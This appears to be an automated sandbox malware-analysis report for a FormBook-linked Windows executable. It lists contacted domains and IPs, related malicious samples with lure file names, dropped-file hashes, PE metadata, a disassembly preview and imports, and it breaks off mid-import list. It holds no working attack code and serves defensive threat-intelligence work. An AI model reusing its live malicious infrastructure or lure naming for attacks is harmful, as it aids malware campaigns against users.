https://www.google.com	typeperf.exe, 0000000C.00000002.3739193871.0000000004AC8000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3740970787.00000000060B0000.00000004.00000800.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003D28000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.allthingsjasmin.com	uxEGEjhWYrJv.exe, 0000000E.00000002.3739752184.0000000004E1B000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.firstcry.shop	United States	16509	AMAZON-02US	false
195.110.124.133	bluegirls.blog	Italy	39729	REGISTER-ASIT	false
76.223.67.189	hampelsmagic.life	United States	16509	AMAZON-02US	false
188.114.96.3	www.cc101.pro	European Union	13335	CLOUDFLARENETUS	false
199.59.243.227	www.polarmuseum.info	United States	395082	BODIS-NJUS	false
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	false
206.119.82.134	40wxd.top	United States	174	COGENT-174US	false
3.33.130.190	consultarfacil.online	United States	8987	AMAZONEXPANSIONGB	false
162.0.238.238	www.mecateg.xyz	Canada	22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529872
Start date and time:	2024-10-09 14:03:59 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sa7Bw41TUq.exe renamed because original name is a hash value
Original Sample Name:	207680e811fa11e2aceed223a1ac803751e70ef42f951fad9a068530b0044727.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@16/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 89% Number of executed functions: 48 Number of non-executed functions: 316
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
VT rate limit hit for: sa7Bw41TUq.exe

Simulations

Behavior and APIs

Time	Type	Description
09:59:06	API Interceptor	8901741x Sleep call for process: typeperf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	www.firstcry.shop/2mvq/
	BAJFMONYm2.exe	Get hash	malicious	FormBook	Browse	www.jacquesjanine.online/ey4t/
	fJD7ivEnzm.exe	Get hash	malicious	FormBook	Browse	www.dyme.tech/h7lb/
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.dyme.tech/h7lb/
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	www.extrem.tech/lwlk/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.firstcry.shop/e4x0/
	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sleephygienist.org/9ned/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.invicta.world/tcs6/
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.firstcry.shop/e4x0/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.invicta.world/aohi/
195.110.124.133	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	www.hentaistgma.net/8ouq/
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.nidedabeille.net/qwre/
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.hentaistgma.net/00ob/
	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	www.elettrosistemista.zip/fo8o/
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	www.trisixnine.net/0057/
	oO3ZmCAeLQ.exe	Get hash	malicious	FormBook	Browse	www.elettrosistemista.zip/fo8o/
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.bluegirls.blog/7m8b/
	file.exe	Get hash	malicious	FormBook	Browse	www.elettrosistemista.zip/fo8o/
	file.exe	Get hash	malicious	FormBook	Browse	www.elettrosistemista.zip/fo8o/
	Quote 05-302.lnk	Get hash	malicious	FormBook	Browse	www.elettrosistemista.zip/fo8o/
76.223.67.189	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.hampelsmagic.life/jso9/
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.hampelsmagic.life/jso9/
	nBjauMrrmC.exe	Get hash	malicious	FormBook	Browse	www.liposuctionclinics2.today/btrd/?tTuD=g2Awi9hANRWSeHI+wJBlCrpPGRTrEfCXfEKIFQJbxQMjrXhRPDH163dN6i0CqgMQjQgJ&XBZp7=lTrl
	PO-001.exe	Get hash	malicious	FormBook	Browse	www.gyver.cloud/defz/
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.gyver.cloud/defz/
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.gyver.cloud/defz/
	RBNB5FNsEZ.exe	Get hash	malicious	FormBook	Browse	www.lbrdllc.net/4td1/?GjDp=Mp09RwvUomJ9LXRQ0XXGCNq6UNAmFqUcDl1tWTrb4Rz5hKz8dsUEbFKiOphpKzlkCKZ5leoHIFrZ23gaRy5L0mKULuXEHcKuiIkJas++2MAFVHNjs/dsbZE=&bN7xP=uTAt3vp8TJJx5z
	firmware.sh4.elf	Get hash	malicious	Unknown	Browse	76.223.67.189/
	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	www.gyver.cloud/3uka/
	IMG_00991ORDER_FILES.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.gyver.cloud/7arp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.mecateg.xyz	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
www.mecateg.xyz	payment copy.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
www.polarmuseum.info	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	payment copy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.firstcry.shop	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	payment copy.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
shops.myshopify.com	ImBm40hNZ2.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.227.38.74
	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	payment copy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	ORDER ENQUIRY.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	https://ebookkeepers.com.pk/	Get hash	malicious	Unknown	Browse	23.227.38.74
	http://fix-bill.com/	Get hash	malicious	Unknown	Browse	23.227.38.74
	H9DsG7WKGt.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	https://cancelar-plan-pr0teccion1.w3spaces.com/	Get hash	malicious	Unknown	Browse	23.227.38.74
	ORDER_1105-19-24-3537.pdf.exe	Get hash	malicious	FormBook	Browse	23.227.38.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	#GtantTTcopy.exe	Get hash	malicious	FormBook	Browse	76.223.105.230
	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	54.67.42.145
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	52.13.151.179
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.23
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.80
	FW Document shared with you Remote Work Policy Update.msg	Get hash	malicious	HTMLPhisher	Browse	52.16.10.74
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23
REGISTER-ASIT	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	195.110.124.133
	payment copy.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	oO3ZmCAeLQ.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
CLOUDFLARENETUS	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	IT3rIaXTLZ.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzIzOTU1LCJuYmYiOjE3MjgzMjM5NTUsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiIxMzhudno3eXlrZ2h1NDA5OGZrYiIsInRva2VuIjoiMTM4bnZ6N3l5a2dodTQwOThma2IiLCJzZW5kX2F0IjoxNzI4MzIyODA2LCJlbWFpbF9pZCI6OTk2NDk2NywiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQ0ODIsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1XZSUyN3JlK3Rha2luZytvdmVyK3RoaXMrTmF0aW9uYWwrRGF5In0.z00HBrh18YFkCiPz9m_Gcq8DkC4g7ZLK6Qs5LoMEHUo	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	ImBm40hNZ2.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.50.202
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	awb_dhl 9102845290_160924R0 _323282-_563028621286.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	9vhyFG1hNa.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
AMAZON-02US	#GtantTTcopy.exe	Get hash	malicious	FormBook	Browse	76.223.105.230
	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	54.67.42.145
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	52.13.151.179
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.23
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.80
	FW Document shared with you Remote Work Policy Update.msg	Get hash	malicious	HTMLPhisher	Browse	52.16.10.74
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23

Process:	C:\Users\user\Desktop\sa7Bw41TUq.exe
File Type:	data
Category:	modified
Size (bytes):	288256
Entropy (8bit):	7.993157621221895
Encrypted:	true
SSDEEP:	6144:qYJXAG7ViQnff6PL3eqxaDXttM4VrjbD6:qY5AvQfyPqQetM4Vrj/6
MD5:	6C3C924090D3E35B6DAEEA11AD32FAC2
SHA1:	E926A709EB4CBC78B5CF6043F1652DAD42720B02
SHA-256:	8BE62695471B25C14A3EA8CBC33BB80577B9D1082709451B334F18D4A2D1FFC9
SHA-512:	0F4ABAB6EAC7B0E6E83DA53853EA22981C066B73655B03272F617170049517D580EA8C97C920AEF54F5205FB687D5329701F42F3E34DD5FE22FB40BE69EAAFD7
Malicious:	false
Reputation:	low
Preview:	\|....6A3A...1...f.6B..o:0...VZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ.6A3OQ.78.8.w.2z...&.J.=C51(R[aP )VLmS?v(FXaZ/n.vkm\52?.;L9eNG98M1Z/[:.\|S&.zY_..:1.)...{. .".j:T.[..{Y_.c352.V&.ANG98M1Z..36.2@N.I..1ZVZ36A3.NE83L:ZV.76A3ANG98MqOVZ3&A3A>C98MqZVJ36A1ANA98M1ZVZ56A3ANG98=5ZVX36A3ANE9x.1ZFZ3&A3ANW98]1ZVZ36Q3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG9.9T""Z36.aENG)8M1.RZ3&A3ANG98M1ZVZ36a3A.G98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36A3ANG98M1ZVZ36

C:\Users\user\AppData\Local\Temp\f3663-3k

Download File

Process:	C:\Windows\SysWOW64\typeperf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.54270969125083
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sa7Bw41TUq.exe
File size:	1'364'575 bytes
MD5:	6cd77b30f320ed9e0e515073e1175898
SHA1:	c60f550fefe35a235e0ddddf876626cf0bdd77eb
SHA256:	207680e811fa11e2aceed223a1ac803751e70ef42f951fad9a068530b0044727
SHA512:	9e7a73af7f2e0585b10f8caec50e037f312291e0bbcd52d191acceb56b28df993672b5787396428a63f60ccc592ca605b22150f8bb91864dde6e3be4f70f322c
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCDon9ioPvWGE590RWtG6inoJ6xF5:7JZoQrbTFZY1iaCDo9ioPvWTE8o60oAl
TLSH:	C755F121B9D68076C2B323B19E7FF76A9A3D79360327D19727C42D324EA05416B29733
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F654D1AA0BBh
jmp 00007F654D1A0F2Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F654D1A10AAh
cmp edi, eax
jc 00007F654D1A1246h
cmp ecx, 00000080h
jc 00007F654D1A10BEh
cmp dword ptr [004A9724h], 00000000h
je 00007F654D1A10B5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F654D1A10A7h
jmp 00007F654D1A1482h
test edi, 00000003h
jne 00007F654D1A10B6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F654D1A10CBh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F654D1A10AEh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F654F6198A7h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F654D1A106Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, 